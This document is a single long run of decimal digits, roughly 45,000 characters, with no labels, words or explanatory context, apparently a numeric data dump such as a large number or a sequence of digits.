288306637305064881993206198868901522094816862661370070267834800524763065518608567747815785322367743822011814116085370377830783669344065590834691504066008331648788011611853922395518271472035128633854028416515977156302338086611351197384229560571425995946465013319163652861464898581929200724290907978349331996160374260508027374894465417822791888009022400724852459901908395539087184049408279146455393210288241098148906603492364237789290313429775906314659822977842335123173621255685424082220339806342434067002451376260698079793005588035186590943001979807120574242669917815000783098797757002860493588329982386641084082627945794533740249638237659745796218016216831636287139940202556033502266121987452215177403178500372413137947272787652103537666022283517701338992943994962180774996762444257767862895214310486696761967325683371436479494292079781864837462191131354523673385714374955204033340503942800015129674714889474898234383039757878916706126146516698293864135088465389808141538403642407977078558132076527230543311960165666711166821870527449939433943635248764320461738338011261072043677995164261036187166605158954421619624268066824980161650651592191382332990734457973703198687313022270972990960489647863110071258481124003568934248358779453942597395543026357814822722315726143316941099653962102645038835718109199291172754537953468686599930321003970924981819683930201534728836820897396701860387476605974044136874531284359393205394807770784435051662287782742100241660475956895066096509189167508371634916222221779347909866132971769671720583272638720266585398153606865349090641527467756456373410358484184754862021832853974600245364008831231695672887224225061148941138730692738951697763713579569789128209594703876499940226990592207099412012168881780690375530337177613741435909944959515789734980274496882393119176404303061268291690074907151859869331059688871543202591130776441747202198204017486739527068233659397452021544212590849965940058293308967224241255959199906415628835886703512779780554128802709165697158438890925063185238074659878424657473925000847715406877526281895924261791507258759556213382210883091029112651555110475591935665472164903868448345756171810238298626486896728865790430854069598700480805806785409719624864824205715019589977331024817556763080326616739558126526844375996645328690289822972685370708604773714982725306389167148827891201550582746080895030343574927739173362937157978568046014335729407319327833731402067133417003669234901809238608324541123336064035688787007719619054506875272067160245058329914295843137905365457249279486152374929615010638302986751836261233300113459575375776190422381907808268880846410870636146627383736330122365901025439942876234141730639957250193861164699760195215041765360380094841350067066309882366333944891194400474667202370682609934460633577412635125936410475612330205823830073552147044756903717180945671158713606402142096272121988294582924646756581293479041648858082063786049240181557538324930754652726571696779863826047518701692217892517923622964813599236386057610155066332015115295846931468484646312729823383006296511657837816751237888933234787524911447083119027034880494499736460198978754130036612181201865068796706104235668250806666859868899330127727522257262226199388816528244544081289629653946297674141076004311339825259134411360876511700532399828432183775799664776057576545293768805739599914032078952174119477990629752358474563697855794850998127480120201343566903866821054422322771413429019983802424682841187224768772820806168574289634423183880471498750119023266365575525514835412522051479750157486809494978532120794814620628825945447883352746026865506479978864529971486536151236243739624538711447560911404502765331506749505156388558801792054563887081871016964098485516466117216057454953546096828537895210909089924339537684913818360326998719847783230835070990470317141702707182812505108383002998279258592783200252579906723672882123022381648230238326128141474989255045758517056899731016326495842256608820043577425671556733613323487349651725016906570546970364966375858319110434843257831049865348729993802292017968021793691709458936763877338919249659760967078732222113861063242027370873679777189320159623051754865473287960438851627955764215949913099168694054040847126289343726897275374640521537450171946702739356736021860119392706635211808528955733102714702756331839653878152725247938203366341720151154233553100561262422722388494406543151488148769442341325546139531909563554128614296578688809501237863399784563072961318760089364885317651449690767021559834801033661824914857770666915023838489210135236344164825318417109304048481834335843697233721750534184909923164475743368906516938530557482178534020096191688817459740001807648276356787101961953294790364069815768168099085252174226403690429328345629313586160931217335519071818422888423076940198231761296915095237129690819618053019367843589855830423030111915570095323289162274300377748495376613161044196397968237355146166623320548806338903277046267314734758572588633676144621063437179759876487633906830832743305457982916687959105041495888586388384507226747026354587789609454925599200189691037575089971681901956291827448353628686352157988276558872806552677102353758757408551426063798351811208992166158762095083492613601650234561672965255977995078477170446870325885650246315005026351516599448206901968579524679763657605341035573046355943602486746598633344611161868336506794158660044335627126970561019647978355578571408325020714315356123196462796944771700256058464230622726273058839759844066769115307049888087604944400669781119729741541324297892997863797206490716391667378355684871842114992636401418066084971284928326084263293989851748614941683855043255709209631647797807526028513057429112983610710004174476076451171319184598724731662055605609659622819623642896637752972135990121899371004875681035639032809795753059226533946114788411199105006066741331492103423139476116949573078648217494199433178773526134011187330523610635086403517926156474401034389439041485475487986367783153086049818933347231932832202661651821016917446551202652438292882276965848242990543497481670082738798139535822199294778149164135759628132937303869001184066950272731317447295733027065074755451964002926813616592320254951422659982357383154000328945751730413006836040835941760094803867182319137041141752238166245725790481209932937459261433156315731249933240354987245746753206669003517315015087683200486725124027631014197772480778279850708805424696185612759217353858640209041950101204920374231366483281909301316449234209422260167678571263219484041271275205382534038073689913075505376653987127146098939893052129335998896967173969093531978617023567956166498398364175367409795936140486316750675725285886356829373179088933718123312615411174583736510711745437490754484595571361152904772794778655229147717468167857601426345258291245910424332221163427545856847409007808149689109963461252465755818964530074714810970302927295191635939752651261795694912807765491323277600703175951217981774501765190301539514871614150033228748543180125480677332823208379784778392366590287714927690212824637347746618422195791080327497769714147723787458131712330471018528333757165286488370070631833221936395674389070519177435662067836148809958843263800284351578068873531614508850094946609393752095982678227039746273264686302568145386059287308281514385125149005264689343699314346745339668115369346273943186684195568276332960688490991837689824652092249790262040022893208641802611328521097965157540410252355140603076214373592965243121373250152848802125215901061929351830258053476689142927669017640084349157887183977612566783951098531258840640151186873051550089651572316946284861681087413148834450445100056213921729897455755545332503823877777639274299977978181021596913916225698312156475810971133216920281146517057802152540266299936798709122163985150346284047820588020986784648828733271915210568157419221514167368917245745446823559293018600808974940606526010210136804295156115348248450203251201667718470842047876098904298087616962508194182612907521903579036678180932681425720469600716953547085104508653160424020157268866605714139596526433034166582911485547619737585309310554370168259471261579436224242892086035297919989571138321465442859896984324349427889814075098213967052690677456709399577615579208247147710677610756265617359291647859050453927111566375134501814425963585684881237440263357248634327041325386312095269512158598311111877641227514278382583561814461549136621364465683508498399800680741239323930198860844471887971360269091615410156539193311207561212153368071082677596636857410105275596093939984909988144631754960439746544980439088407017337285853737589317970672846692788322445442018434549216170264352426669476796151470013447682748851553100838784812441945832978204565338417193299531212269428960928723548141642787350079764694210483800334162593693706923361082568039787720147950532590793512508467636485470358349738526833951476594980359843118011078781748386857296949416894177041264037385160665552071941336642431106464404737679097153539296239983037972144628845283624905644349603415870710561147581251916936145080529850440992008875268242841674426014754729334182748194610797003303119589800684029157345201437906328802535840775316678900406939433982306690222587592187391258769233919814913904851288767845295500421403434237990857553320038785251724801232768467180046865358627753642301231505461737726466548009210665937760206384190216893583168878362643572153024639112317628715708491215485021356276406917149007803990039249377393398348329244225939291237984518394938589243723343101687875017221345574114425933565670124552177285932717271371942831722388098714671872342906026000528280969424957784833718268485811649629085738900052656422062738641150433164835577585498320150725116661987573875277688003584645170930518314473975277406034065362908090497379562166075745505953728067964878257474335562806610777810004787854561330279136971852020239705111329696520266764774254960844303929735388152823774631932971017289718175966059936411731877273177364632309300571439366252845169639520751473960080781214272397617021343438639277059424330106649046797688134581078881715720604354698265808297411283903125109730898480565170832695239003393648682574528058896823287350341707467407125362087681013303566408429689879659793185817685990728204051044470845798513854257740183438554336452318833872149524972486497608741578705600812781107185064620273122957573063680083159825347837488745164443925157920291625613598003005611007461665487113802387732027991861909944052061799185530056700683916759636877207121082414423502688352491291848574693508287885004755553124885965498497700487838162127781188337910468772424306152904147303914451923221910284118455913364938808112613252018819801243503214762332053784057489994816406248100693588443685640660214929788877446995716225139033289158677987288282362224930350399252831553997658974465208563857984298413494717588000891686871002959219877937246065473519023805394238739889757387192128598417604330564793390553231537893952808823978470814156718531580163189520329759217631561494966820026918208643530352402712011400826011064337415464395221887509486267402535437621175684366149641159782425635668737022290924559168095657125687489316177659805317014855483858185565679616663687872512253106523191631769003966018241012839656401471664728416249164066865693124636228294113348203861729127459194962925292554633271584592354898617512784154239628354875410377936918735202912638570259946959965882279321996446587376125976154789222668877784596308904031911045605028193417193689359785670002397973835003056289719737520956163239309035094482960503730794214711230975349703920237689662451486834257586995196409189854285142975827960879130146941821873157840343654395749138298986276636221846588171113756792534255338640913748103037452201266362464859060872247406301981402286408925854486812584909789731205194801441601482123430031712419325011556407175490098571726073972542390149324051657144930215736900768773767502698709849091475035392619856351656060173984965125459153167283500153001970322235645296494976423341844228792208930902805688181017012282299379015853727535332080632537965706757628795877955054165157478182897545850972573547806289131381213037627427690964493910427852731033772342338853912945157361993752712925576690275362667277752538781369183126338081937428583852341619020189639925157583361434686708262729358942848550653382593180114722592202910031588431536609738004977835549730213578041511545799232268359943447073074935490620561398639810919604290845256167308704969743362804033043186597872971642811871820828732933191700749241255353922453302823539325669120705043696118343497964442204612931429175776889316180540488921646527344907221394051954192722545383027807648269520024990379550898775628944257843336276672101040477721876657768087602984512834187807446741133058835330605752347945198484708920511902965663490919042279244162264603733838061472632546415663116937254496744627026782146667402471903605337057785804075895459928962433654876971109675613302452300178905651828644872157353877153101844210680833212551893067407374688480865188088047395229623363753803668892931977606053283102241338424382388994910239393415001069292930022679109574863873655668038280880053338431411813943998766464985760964088475364317266431336334658855069794111664755618106044071917316880460642684661408918454411292107067172351139955136926450160810003470586880375897062265870300927051662410493906572261453835279885394382646873585056901493799334024715962244019008275615420004067360090487314162658286754308974007505071176692856520127722661336853724886866764294412806768140872361847430082072348853094925843029928859665222185271642877654711678594146864707492438726481562717985822955680073829901448741352216297218100271945687271107283713113214865402296277357107861236486007790292642377075717617737850756722709427647033324977758462362408667857095553941467990223434240987850487023754581887988822362189489856699694991160195475620269887347304258597188354253879769963589548879000655728958157614258835967528593182754908994202084543926827940233025595033716678076942698670687422840124111602533965266486270396589833982406972155803281825649913049747819961099256347194190604069487785017067694980580837782487622640544353637886189383414700038355468363878220461250193060117509895158249605094880693019701920361613299775287166138268010291315115827384058496030242091219360400464276916829912259647105202074735369416996838548970165610148223207821484465331182700349436721360523094915904034245150863980223630427212297350240974919752369535912718568720134863771612408797491841674541009116778559279452559955174834738765737523861055828610200144047299844623637612390735257708741083257849034386388048223121778581771431189443130920483505216124351363886510463080928764263459931355865064434148531298018734511995472551902699533648239411287988980351573487751495595453874691427906480803984887271333679841552829917326516579055300113963224471859373282261833771461210199559357094105163402244797699162269059438545948484787633042119536412063507813394357821384788724314891026996519194628832985940294126583209985249836968053850898661213743206129147041132745007602998249082540449014606556321081543536176625917853336905629262741640767267708107195075901031370080508408964371574034213633694743260450995839708448683670990392580321622051816259512069713707514578921049393359373564811894271970501021668335699196110512707551691696692956873445598437295370539889176444373577740654968369099083325470831575585936968738023657901866225747825912733324159730445292213861585046872101811764951118412064311463722511202189412133284855796689688106482599561032969687423337869672380426795905984322577728139760521262886662931452794591954138506003843978693025968452765371384078015326737076906181508172708030043863648433725620613131044626814606644970008558970948157484207979471494554374693553694586001127824037767906590622293025743379765554173740900037471347881570984582258905580081771385975208418039028329580302142165394399602144108972940239172858513255183056231606654829117929824716887941304907809375671618349209710913115225287882988581747963362481113898453124664789398999890383441057771028853617207694098792215866512697340408194798003342350586411730777038754931908709477961596227994315087560063855627683732621450000505613869764331838259096679857562983344327378441041036908109659383026733608691676103547955446592010106139374203650237695656651902952114812321612060444834958125452909092636485017577294403713482518162051287433410572357576259850367912016000164969509229615647357941336321009892269999660129090741488117641920899796565905971721260302960737757061553611399094284596282402624786817073072550569786180341191354305569819506415841580354969950835660283011996428738663300880471830234381973506020059769975473721190441831910294958176701278824213007994271943460713011111329921304938850908427671483451402894528768721461994974788406989417636710544815223021789761066010112445940077574012387491498390328759071670081259081738018171946076215468498515565905850645333053535305746400259957410986996056984245687656087520810722505449824925872881784163472638129412271305526049718374623771435195835581693910056413242305250311452992653172881173815551545753443780658992162981689616597454334266188451255537847142148704805481702439147879631675243415194398780951542433350437708570273609211255207528753818729527929997345451873892527591713546831667398316267402725975784181707937298235050564056768347862656088492897241067803763145797927886723334670845903305726147054243343451775061488595255267545860574115799878301051999120742484524781819783366993712357195042559805453386528775374339540793075729616290173226059122127912843010538903519949990370210714544183166435134440508069543876541583567019559580604121878182577672528440982643252086793384974675927667524442854646815304607564628550356920346110273690365633137204805723133149106210087250252944297404862167270204750833953839988599859450322561874556079612690433145123987278664397726651174391829255189229121396926405968183132111599474118204181246562695450665232572551444520654188354618850735435608666679073651884331827227602802621483754764651692781183373539592367853299357478849020213442259543849058463487643595952129006118151178889694424038513741702317423559919869984847320910307587268640573145845493961012570875347519285895889138147777477585275454292613949493583362084259416958614984420362151399367117319448056332183023444368782147923634761726618391858214464721881124902196803437331387122392836939497490609076512992106267681176625720252252137607193868000633204181755318766594296970835847472121686025297629201200482010961408640502525886595798020459757522303095656045797804846131284249370337267983499084067599314872384908947407106652556836945007012899379218290596268475364586454614267537809929541006868140220295924940724256295987471429082728026670949042439423363356661235049333587474970104038462770269209584799814966679594584568356684317524494542487035819357940588778558022420761364932362950332429383784168683140381213605711988766159873639197679525651616942848522710702656202660186060811531665780746847054270480722420104081622055255220493015153452495052999972082786906931063110390359279418558508918191277467171019008776606649300442632794958387393827971082651425503527987297613495720354846466398220987205386642888062626665130357157261544677622830429634339169860534320688864531922356563731441040403843421078777514843813382494251019988931610486166489407499420405919885993789058834745703263634551031901618078069974346487272157592858925699065897109235729965344613222531009579229638228576041274021734700778493494993917151930824510723152130848527426813556766993836383010827612101361698286436971479755169852797128080241941760740671928597086925370024217989502330134068694824298545170896361907712821389244423822931559805642858537014138287838899012905750448430613379948042047135100167380794944155067865865364876677299552329501973563762290015273078458751508038168689206569548952942127288128937068754250533402376269611954776617846839160223705026102653327427729384440138694428929477054638752884507616032576766925230304603385914714458853558069803336620118510932297011648716316696853495417956680373434772359396907957664185789884979488892224266344180586534342753386015062264738683019390740865978847160565828693192162789606566927294958912117786255004831647796993931339866106499756708781855744128557074493700389470325140325884799330701962255001563535262527446772562651327820545889308627922700764263867992322115555274442702936389143902781190489617049230126329624230289780048239206965736641962960911389987937039357093219278639588958430539700672297104195830266074308498447477239626057791556962340352534668446205059660901087432656111931659468689458200269673737716255485058472101154273729185808756255764310484185267480237889074334990501543653806560055981323952049534649142698579261454276894052189088565050365909383124800269984973709662967966803010401832145285460283485121778003047207215620300727910414942844910146173344673035272980573507238786874497010426475587615374615600045303893249806568215168708811261546697627740413255963298072600693590086077312803371247252506281928337628557767232753907801966181086720397759134843663252155978703394591964977730545566028891677243356663926428897422424455280930162732824858964685422448397553076851224981017158585013581059424447788660915550894882368248746438950352896092392378814596850964335660203124810343609997219543589899475696505196871239435373586612036292467776586324755468852177122860645408794902059129915585519399035546235741323637574714184431404721090511000277824088775883679778341937185075116729268809132667650963468234686872143869050974759825453183506720460360642123840968661662435983591784935497877326514747710978657141037206931582663372480166161009769342926274777241047132002298985307911029898497627315440414539033605974098809652670386589610894395910644525150298341985815910877833150485987123439155900982409983559338476480807549488772680417704918638098477245179778390422204413972712617131423230993650660128228959105237135329788718673596754804099854255761119695780142753213458744848522273475677391860954396455493156221013386128594565145719540785482914376322690325208441444383993189417441570236457784999564234179911299182082493879325507621140058402008694493584062175275670940788326760301511851153814788690302305346423744929053482878275642193577830564647425886890557059083263531144916891044526902506123573173021625648946288373156377983377575626629100211786697094295113355236834051079405998572403378751798656113176605605953358730861915729702827990614073048758037194877046739992567452414280255296470945650756510905405287939274119324564212973496622013185958246888015683024504894275537179162053227992912716524401416863268377357005602927924518804609889839747671958596189883707627637133900003931552195899199822596118083780664285687081216221981706047570143652544394816484745776785470374761420216317895566974490776535634353036906775834808639285046440193184216754552599923486782166609524929850636377912280836379093090912317439371394172041520139418060872542783018261987717912958436151379567491666037413418094318901638900925175986268253651053197191871551695719470228196366214763644030547653698611657656858477038575303471236400293996606473465456167272878494784796345033809936317314068384808372428218111365590106293938235388331177896708970856199939909486217081798559678645196100902851853062446489742405687611548603602348747991546708731819753795287275898226035809831699274504683029551940744691601042382303981303763289879683239409875672660059573774378006072949823621168272965144329963821465722677948756818009099719354355730643501808468815030923818879786248549883997056639843656732663784484336699509976604980608654211152453444830780891129534306240514194884781029162271713406395939168467607644552501393421924445922857479499919190975915963149319118713453802341383919988826416958966418444240583054631270448220432122804606942952609901233824761959230008778822145623216326272369729731545269258287845311981724236951009234026129175862489459144483231643793616411646827268077570614341778520142140142748636679224857263170084492554531461332169979531333037058619855357070372637270730506941112459816153397968028132213348834694230921050762692280842467141188797583820130730112253895709845071373854074102042021897425355780861883014376131121872507497888124046881041487219775088749362458506739726741748146177654925990864784093448904049932481660025927866708657972171051611888016852870134186189693402928197491190637074246779826457846809343817047474159956087617823118374076407910083960512237665456299541340170742190145065574036535042695867190999185197904864287562704306626761639361103747378201874055667712334908225460581133642564061546831708585281173688102812085288411869533844676542306066550889166639200975690947710728124304924852017698796975590577919700495453245215681963516709997359495688201362632855738793645893552064849293234007246428739610892727949868868075443613975923791799148068030057506304901753033487626821325604508563370273181539366528203660356985750999087096134073634832548307540497669319115095973008076875344222923387882748283283536625545290816523266244227207511218201854549004042933407335372455897867979464076589755470299061450446128359399705862493302404134559158352294141635385959229921472160216908387180797030909129112729013875798882350429051128540642294213517131323809819412948585034290464027063686351623239011549967216901540523578489868797260977113258103117051543992901818144027912668162968971566554718214615472745146512944412543194029777422984040499801427251505612142116614197546344469641270320959496390587804498595473387890445630753987418665593024457197585415280963302419300098921298515067116810153906659614741394445230581272036866914914317583844559568056733328517967653156470388697570936784529837496790721561047562379935543531585137774072221999196440111587236510285160797975109342820687543279427150997448195780710394630723751663185305264557428469973162284727717985131993437117282831915871781697644747135251191503563013000726133641527274416363077290310073909181375086497596657063934804802084567177375917635614006749056671362067866626624024127169667660144631124025324178245633043650735496729346993549432754437622721161893686447528565036942449551013639176789327662123071872617780438320903475453851640826515395262555207356006316821626782243037911287933950106692984259365422617833908286178390208354575089803578795392793944329859637187106464448602256307241329598436957843761833545306006382157434101558885529338932387995070600692878532833152725592641177293766387723032879870879950582423589154004342905736026101858538501988053996499286886107835939701297606547500422231051101842213436981158365896907215187927166077758679513816519360167276972663595549856893147056498683045846027710728667962951911515806249383161982239720347711075460189057066072444045553978066393559053151981206170235347863485726166920419915865092551771768275049419282838860097828932643543397106445681823266883986603014779842508413410251641187543803602673704761088105671349729141476894996043074366366816269315819214736854254563635983976778839392545022882821529795403913209793825541684417629053081767444320636444662390496495952237527582012947841161320415242822851902942001456677485898127998976072606531616603697090910507404731838214775427018601388818830458913667439337548327586952656109426629167614620373393801589663353679544579538626588059858263036819718445439564949519447902031524913444804967702087607694067231465034668133139642938907944530022808941146189787303242677106746502898284132767523687825114877313279043147194289460583720611402460566910431330721830895231893590470926071876839626717992365661290709607468007440722974361727539087067926011245765169702619224376330726017111506421782082833553001931843473760920443212464056763591248842939821510722999427674139693191489965130640061928551337431562557064406257752470077347540384658935755899438598885310365879231814481047798413543039371798719491292326324406232487963269819494240605738910862448498310313578029022090144872150957549655174671752055106373061275313879983031684421365410669151715367780226814725074518339430405429715257262976349548534625538862272871638293130644526335069244516210524925659985196678400171232329933502486795854567390105277430580281135235124084625934890006954624016636957590227219224698619586133669744199314737000764813394045348815318279956916738649556454095613047826179801292554348474396738992832938302541417771392388386054634524612450815075885752338609639887405991345995368769114520258147915972185854456869526871653815677811667728721629860732712979861721326788653387921394167076177428352244132218251552963265061748604031923611716520164573023204425079379375123843550968355359888781627841881453463280930963203090399654511879375096208221459161704995344710539794054212202438975834015159629482546145670863061249068630675116030795377387897168167736474967807329103623274070551003199089865752622433356644966327085176178452276704061187416272822032918091465206319278333284880759720090073447296212261390517077501688160608579516816984678024057714260473595980184858756385598516911954912012674660857847443300858465418076349943423030753730191398127846874090439085266960098231139807746072219428406172615433939203403526244528333474647068969825276320337045193852501731967116731751438154458075633783563732573544672303765427703794223736768462751147214152705830227527188776997386880135735524197636749494676954273887665892786996229516610878372462101369694545837290195042982326149765601324177660532027154100439574780897566749712516606881214972993556125406259920185854696384329312304157033893379658431809208050189147894164454513208923897033728650756235267958262479423299747977953803395897971310131743304144487553374232850345749852388415613961795219540939685037059656506312357556320606864996316685646799911448737068502683855291846128224786771509137945890828358076852779941204006823062745835521072882588517997946847813682088801700680108313296097669607837912030885527215732471081480786366900733215353636428718580107196149810198596981482695190400268789390081535410023024148685446016241205247497648440300586271769559058933807547596000692995623536959415117236886378326533922872562752634724622888073899280641050784622778095771854189944504847661801331837147615948292587580500016060635481846024096302085755409774257291849991328682280504276403196853352231204601992252314046229066938404294560860771793869622955294559221481681801566051234425503260010362701545798604490284785238228931388169674743914743066782612454553931079666569108599964250231669260584933865840969041424943006020110647671123737766792511518384351291680005305995103679853127042649829232334744880767337168033308044263437667403623876380939331071670721131814662273765822647543634346794938369016490765719741134693550261285781194944304681928264349928385267312162131902231167434578138026443550228513706597626944052560145466044378942513664967659408092127456369432712052492997287441430646862218663304365154543317533890553412698795435687719018186018766389224675200051726735307703907387433980761046003917093394475157238090849799217895431017679669408781805691005230208334655408541503047252731295538917535742836724321498356883368726892479331769068756576108346836503366289708845825989108850316523858959798110828298028469501688700630375316212599023585487744313679540096846878479437209761967394147884166461692110583312913688516255276151819800501124239458080902430626705951472756316682400134729238322519590179841103074047753694889553715729287226848113121971631023404270387107397028984792008974724133244427900643031159360244588537597228124555719429862282861214007797793678004806882655962225949869833400596194470434260135359009772017661018600138757058368293030836272871691824784716786264513107165961243775365982657768548146835251092270366805898562231009171923086881075399815512760252183442141462018248241272907850878650297934322251584791185408114594811955622568229435173892794086377732426927573254256800617649487498050400908402515994767582239788820899278974585052167770301672158001310921027364735104682862411792316996938311307275140385480800457421192778448232948483965105450138390786833498247181466177593121114886918636672915086611860209723032884342467653257696594514621949647984729301884714517047772455805896432584317764317463140122624466043329179345528148380442570904432237922746240686850480893289151297382762103699698273982269164500224232135663268307015652809869432658755080624343635541649871296530243561073545545686873963374849004948651015267560050681717424184659063932660266218321636837478301862929774941196450309774243748073371588634892717173732817663236389193306443479606276307431525221798348261596816364089423083377704951647615805217340203333403155811373198851034092886728974115146146541693381578582142407748650893129042116374585178740879148656027541104782263641482022710151204251810485478435779292510517159463034608288422551297816296042229431351475512578842989960626116944820998674550141844451823216482068194728292314829742459665086457345758396051447516996511672251979901651054898969969856555869469892187207333471281513562929873073343582743951590155747984394611421326027687544589035281337171034255451142743492439308472776515986998092122191733517988246667503672779527054785503122199278590865235605677182814099854288902693046138184537911697788908944298864343582892701048331230044584275938888744687263194159916985372687993066770489831155791132156093788497754480603491522317905665513261229891159444951820375396867734653691597766158726803536164557774629216784092117711377737320633591886272915998248566944490189236509709623707419548175649061952796184669453045205272014740986299678161897585111246418176078342780534745146185268419778817953240235458337501169636464659647506347575497068581008640133392284563361752518240500619870222170503129476517131410670823226621604114707600317491522553319121384224065814492680929788154520711778800109228523645224288940470978461898801389962907571000623232985678832042650997359603034504429259699747398860584370742037535185094598636677489665629392322200703006159933645922683749748036423688503163603420566755319385548152881785251992648139784903183912798920279899959394851373765446646386768069279720095888391019261846600633552919075715786199716677995241145939738034093660629720607722913299816867142407175047460644177293678558954227501653379697394733610866855381388643854089733584433403827989681590815028444439098326124025440539745600899743395246428519188034218330184409895475590832246186697314124300168846463664125083316797234935959454106584108289573947680622138687362095471409233946985421377378303607672018818192681990085745661242832091420070404148361611306864578688130212495849638528008388595359111111331359004710346912288299796055457839531784185222021181078518351349224952647416451304044649786512154081365926783963845376995134797496634857906264020334117149145648236550258592472760782511753782234513397942789023612418694759772511753586017849933506293138928173637881616974602661787963075674225252367411068412500031628515541972389433110940162476472538492133532870513771224934673287174248640473209027267144191404298824700698972994003588293811390434987420854292623634594423989048761392571273778425908756997757777683612718389289330015900454518617567507231546967958815106173886302901515777169281378701560462109771053863171098652933614824332346637778188704965740527848809186018799647386281291834978033760350832016845946443934751795068117595921400968158719714331112438226044330230711828209502574114116914291657103469272660765275824486911683982274595941814319072202967089710025060204207814822814416778073902662340156178298248994029620684315146015330602468990177685411942427913440684025952933563787026839773377405031130042086927211669752831617312179890227437396441478088389002354185696770543384021435327967944336727618840689565723469890507473567264798600542024783079796002049468957931774849475525248919868028466478716277009493663124159649015158228675230510412473913565096847511295544967767061373584228360352190325211187726781288372043294391768465039010282687429677523293670747318562209909050967088326310164513187831101627203547923008720022706905187069624244880929919488107873804924475474944865553849071233932973895275486025427950448265708460042125989576523219358239830844075436308565422440298168019476656676798695547952664545843839682129056238641170864952357840516743541678311841268110355600919606470041684791853484192146685053719571272338461888027396732793092608623162544939689068118459527131782660362035098074058035160577534345705662296763259752138276354796945829695091538632810948460678252459173538436057381762408816494185136830279477021761160863696991282779943062991112374800549661927990949595464275030978336809438136613761332239849317735788614043562895629222959074454130000412729824346432710286402422776174486005680238052858040229540428130213730518299000507698162297549193504424174709911356780605912294271066130829534898424208261566512474286036647831757132700657328315037258343155289414482973824791192339563727657053949709009421840855943397012703526100386572534741033397223291367520826673326903102844625563007506074751043872459826338972103967043984789354712788821821904134321946180712621656995202078135108100929123803062323655705047858410772279577415161375046786759872312048137030375048780436174467765178180758524260960413983125425129055296743007450047926594497064113264047685220384846501197305508698994668967991763271985795762638052318780884619143007127847948370293624094536611583680003722611921675402487414489919336022365664129153127546388619911638031651583032560012709116247573776190947844196288656588597456619556749986829444365500263614909962639697943904502502651578279315422862859429708119532941961359420844077629521240555003383317116690674095036812113196977773515518342571636610578177001944429323052575010894390790738889296213744315961747419358579773201250383653707801299343324939723913677289920804544091374351489849322421572059195835465320162465300458061014451357924185291456558575931104917929851201722545133472728221521615302455244969868324329218149365451241974166674313220381580779701367212994885067711127368777664003241752107206169262904056888063354832575597830176853607378035988709338987080247308559327571675255346242869113949521538033797210151925703824732837463511499640219496290732473611186221481755380432975004257060203348142716742313150296299337056564698105847781642301880583758726786580512374358144462650179415228282774534025973308502242008065183348535458730843272855911651217642243546031536616941347125617011006535169274107599624512206913624432930213422894554705823854922606065760874966683122677387723224140382982713286836691532935534604878866167707391176347467669773213317506292188449892871628593985964731163302668387142309680912348243887950588458965025970241086487682410169343191584506213721174063923257540223137256437812672535902397917912431979260986514219502811123451904110436797087519846885172374903443619887839416908135905476994942034103778071655808747283230326843893709323420712946426721694121504247024474163053968703657067512305364637830993201762498227778996894777202752800562348344601233474994026035772578920952978180066272300883125664865412575460076822689311907622127999008861535415896027240374303971890434130329846295163522929548203703087361611386951466666390896981773932520852920717407370414785531024301317624772057231695540390436590011173312788549210463221178671092889632108285327347003322648413623264934917639110049802790407450092054965937509781880742250621610184876584220424010621378196089778227655116046402106274453232283058908923087278542937333555642265659188064183008833295442535160660960803528485641336111049423656893807526253580839328765716214104099425437363676633116184602718517983019106929799009781400596034893915737212070348249971037926105625822595462339333409123312294046071683458474462973473948399665777887851464050227343556647094327373813854674771134007686217450023292154602128367259346030505338251951686771424569614796572782116058404322808658422342247701002135128775904159280328770837111829744081845782596370515609028265734987248817049717074104827490950151410878257963414639926797737534825349854020719474011884451236384678699466598248951473905850775777400584531274325982579796093947128814743008826258036378187968480759836355649289788526510238906852088826876939848935566335280853667057539428668865252452497412998815544900858159901516667362911160081213498144830386395711321131762780492804084441278204515063519253526650395370576079912632993617693938754383223019807426752128598178093579110979276071194581451496460557304595831774466141589993116368208157115438241696534131232359853512062815322805866960258053646745732487694336052912577768662753762492399881202659796974250238937244724851495745190961334790349705356361614356170575430121865472920871199164853981543217617478580224557698810803515986926559455652405691108140915617331025881461100565412178548484389438783098570734465599575634615161858398624976453516943703272530169898666580053929151272569410406271505140097005220349486417579543932835428463333396734048392310842088574099446257059688566837853748623701266979809898510579028189001964707356957651672111270378365128621342025900334990725478984501469227929075665464737115355857528801564356458639576350612357827237512429837455053562883250155197991581309043578249356438393719223247593276800834340370719507772550364034064135909626592261406415476070688858078094112776798568192553695874108335930960130691821197944219773142725915431604821709763975657011306212072654103769664272773555792878186330920510806391680634931204102574253001827778349907275633868969299400294913403808366388163275665960217081070683305182105309611891754693009585259418685010200261504558768294197494013006125161816247007487817043755355256430052762333456941404337562337440241029189716606892592675807491261350741937252845090258444049138105522163938057109247455722604831168712506998670853938261604691281052942792324341961942696664486782397020199793082880851706688163920791920739975654027626296384541444645970598075572367558075501815641540437734440157658262090731929750368096937941921414747456041141594657398651025822083248003378023934667794977992564286408557692223702978630667239753048545227384985365223370866190083563949552448026468870107113850366589454307623594593113510831018332440404650963366291463774926660461850922958288068409327404890757258478890647875024521913920348101590965025198654542497758992791824344462072019684958815815746762678704398293705998512518787339613355954857627278039983424912777903807741275866815949407147956091313541165629472198739173175647212862182854419590893989946259060611057179521073442641791971309266121984388854985206476454633732924981709085431784151948671531882828119145377018464189503781800291797027616150509474920649284440309249313910673683011662981707912717191455176732025501091699904815074814086041022357798777042343178543465106335648891677273681976933336670970735218256708487195302755454122574736124380608747566833131145204704170142331905533412552736663059556897840813122074961572064386767570061790716219408896108344682012251528348105466656165474706404277117177362096706930527132574409599652304835417063339441052132224039746685315441756627097864072429993318165921777567603035350998495773182325312288085701282766028242690639134817683372097725624236930030961669767068172707147933506890370681729997944222702181252758440436127909622320677280045899276670219293293356356867248482220508357954640988326755165408927833478179779422902709592885542408194196586540521087710605353541203073852668606985120795502539808510676688334218637424340995137127452126389982969678141157757885366242293657809446408233960891573167808274806082719848137460692624078082196302543502970794826706514411697319102917579148824473058774962159259585711449967484099890304901354851302911774098618250515111954918398065358766614532365413397184123453581465923243483288351674323060898807527505533406835968548293460924425344419545943885913179293479526348409463388827214375505349006715937073489095040688544983390726160586490263763129763947219597342726174964355742252088146581162947629246498296980517519485876206615019926457363057193021456824360535003213555677264229223568890097133294340961622414703450992780840412694945501988285599697888978163833047194120690533873110505119952596350785302043481057574884605157375092338425814612540506134527528321610677964042069606010066223656382382349134884172449554730047824618196891979300002908358296421442052626736489024948858185557655998088763585415820395908742336922746023350716590605856732257877909197758525362592414657353097135113309955931679179301255241255034192601954799897765319990857479377837461894690663763800464063062803248129681931083832400524012895067164177050104370554273159643558271621730528350536698370011062208455134454973412136455127548700655858062825299533192920261952148415320416102573009802450321065342440400244007959176980183545319569992836986790694469970369338301167183493454691372408893069125855732130180252725561219070330736631700629250769863396884038097057892645467158560586243127444088861758680872386430357535538879322941221197581327154711282135215292962082647731704783597747859551773727223